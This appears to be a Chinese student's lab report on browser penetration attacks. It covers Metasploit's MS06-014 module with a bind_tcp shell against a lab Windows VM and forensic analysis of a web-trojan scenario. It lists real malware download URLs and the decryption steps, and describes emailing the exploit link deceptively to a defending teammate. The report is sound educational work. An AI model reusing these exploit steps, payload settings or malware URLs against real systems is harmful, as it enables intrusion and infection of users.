20212803 2021-2022-2 《網路攻防實踐》實踐11次報告

1.實踐內容

本次實踐我們將完成web瀏覽器滲透攻擊、取證分析實踐和攻防對抗實踐
web瀏覽器滲透攻擊
使用攻擊機和Windows靶機進行瀏覽器滲透攻擊實驗，體驗網頁木馬構造及實施瀏覽器攻擊的實際過程。
取證分析實踐
對檔案進行解密分析
攻防對抗實踐
攻擊方使用Metasploit構造出至少兩個不同Web瀏覽端軟體安全漏洞的滲透攻擊程式碼，並進行混淆處理之後組裝成一個URL，通過具有欺騙性的電子郵件傳送給防守方。防守方對電子郵件中的掛馬連結進行提取、解混淆分析、嘗試恢復出滲透程式碼的原始形態，並分析這些滲透程式碼都是攻擊哪些Web瀏覽端軟體的哪些安全漏洞。

2.實踐過程

2.1 web瀏覽器滲透攻擊

①選擇使用Metasploit中的MS06-014滲透攻擊模組
檢視攻擊機和靶機IP地址並測試其聯通性

得知攻擊機IP172.30.0.207
靶機IP 172.30.0.178
開啟msfconsole，輸入命令search MS06-014，然後輸入命令
use exploit/windows/browser/ie_createobject
載入MS06-014模組

②選擇PAYLOAD為任意遠端Shell連線
使用命令 set payload windows/shell/bind_tcp 載入payload

③設定伺服器地址和URL引數，執行exploit，構造出惡意網頁木馬指令碼
使用命令exploit進行攻擊，就會顯示有木馬的網址

網址為http://172.30.0.207:8080/6SaNrnb7vo78gfK
④在靶機環境中啟動瀏覽器，驗證與伺服器的連通性，並訪問而已網頁木馬指令碼URL
在windows伺服器中訪問此網址就會有一段英文字元返回：

⑤在攻擊機的Metasploit軟體中檢視滲透攻擊狀態，並通過成功滲透攻擊後建立起的遠端控制會話SESSION，在靶機上遠端執行命令
在攻擊機中顯示了攻擊狀態，如下圖所示，攻擊成功

輸入命令sessions -i 1 返回靶機命令命令行於shell。

取證分析實踐—網頁木馬攻擊場景分析

開啟給出的start.html檔案，檢視new09.htm


分析可得，new09.htm與start.html在同一目錄下，然後再找到new09.htm，然後開啟檔案

檔案中提供了兩個url http://aa.18dd.net/aa/kl.htm http://js.users.51.la/1299644.js
然後對這兩個檔案地址經行md5加密結果為

MD5(http://aa.18dd.net/aa/kl.htm) = 7f60672dcd6b5e90b6772545ee219bd3

MD5(http://js.users.51.la/1299644.js) = 23180a42a2ff1192150231b44ffdf3d3

在hash資料夾下，我們可以找到以上hash命名的檔案


發現第一個檔案使用的是XXTEA+Base64的加密方法，加密金鑰發現是最後三行中，

解密字串： '\x73\x63\x72\x69\x70\x74'

金鑰為script
使用解密網站解密如上檔案內容，解密網站為https://cycy.sourceforge.io/xxtea/

結果如下所述

<script>

分析程式碼可得到執行檔案 http://down.18dd.net/bb/pps.exe
http://down.18dd.net/bb/bd.cab
經過分析這是一個壓縮檔案，我們把這一個檔案解壓縮得到bd.exe檔案，根據前三個檔案的分析值我們得到四個檔案。
把前三個檔案經行MD5雜湊
md5(http://down.18dd.net/bb/014.ex)=ca4e4a1730b0f69a9b94393d9443b979
md5(http://down.18dd.net/bb/bf.exe)=268cbd59fbed235f6cf6b41b92b03f8e
md5(http://down.18dd.net/bb/pps.exe)=ff59b3b8961f502289c1b4df8c37e2a4
然後對這四個檔案的檔案內容進行md5雜湊值計算，得到相同的雜湊值，我們得出結論這四個檔案是一樣的。
然後我們任意取一個檔案檢視這一個檔案的加殼情況
我們選擇pps.exe檔案

使用了peid分析了檔案發現是用delphi編寫的。然後我們使用IDA反彙編這一個exe檔案

然後就可以進行程式碼分析

2.3 Web瀏覽器滲透攻擊實驗

攻擊方
如同實驗一使用MS06-014漏洞生成的URL，http://172.30.0.207:8080/6SaNrnb7vo78gfK

然後我們把連結偽裝成一封郵件傳送給防守方如下圖所示

防守方
防守方接到郵件，檢視原始碼

發現有大量空格等空字元，去除空格等空字元可以得到網頁程式碼

閱讀程式碼可以發現漏洞MS06-014

3.學習中遇到的問題及解決

問題一：16進位制解密成字元的時候一直不成功
解決：解密資料中刪除非16進位制字元，這樣就能解密成功了
問題二：實驗原始檔案解壓後一直會被自動刪除
解決：關閉防毒軟體即可解決問題。

4.實踐總結

通過本次實驗，我學習了web滲透攻擊技巧，網頁木馬分析取證，有難度，但收穫不少。
